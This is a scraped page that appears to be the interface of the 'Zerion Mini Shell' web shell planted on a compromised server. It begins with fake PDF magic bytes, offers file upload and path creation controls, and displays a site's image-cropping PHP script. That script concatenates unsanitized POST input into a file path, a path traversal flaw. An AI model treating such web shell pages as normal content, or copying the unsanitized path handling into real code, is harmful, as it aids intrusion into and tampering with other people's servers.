%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/pjc/public/assets/cropping/
Upload File :
Create Path :
Current File : /var/www/pjc/public/assets/cropping/process.php

<?php
    header('Content-Type: image/jpeg');
    
    include("image_resizing.php");
    
    $imgr = new imageResizing();

    if(isset($_POST['cropping-image']) && $_POST['cropping-image'] != NULL){
        
        $image = "/your/path/to/app/".$_POST['cropping-image'];
        
        $imgr->load($image);        
        $imgX = intval($_POST['imgX']);
        $imgY = intval($_POST['imgY']);
        $imgW = intval($_POST['imgW']);
        $imgH = intval($_POST['imgH']);
        
        /*echo $imgX." ".$imgY." ".$imgW." ".$imgH;*/
        
        $imgr->resize($imgW,$imgH,$imgX,$imgY);
        $imgr->output($imgr->image_type);
    }

?>

Zerion Mini Shell 1.0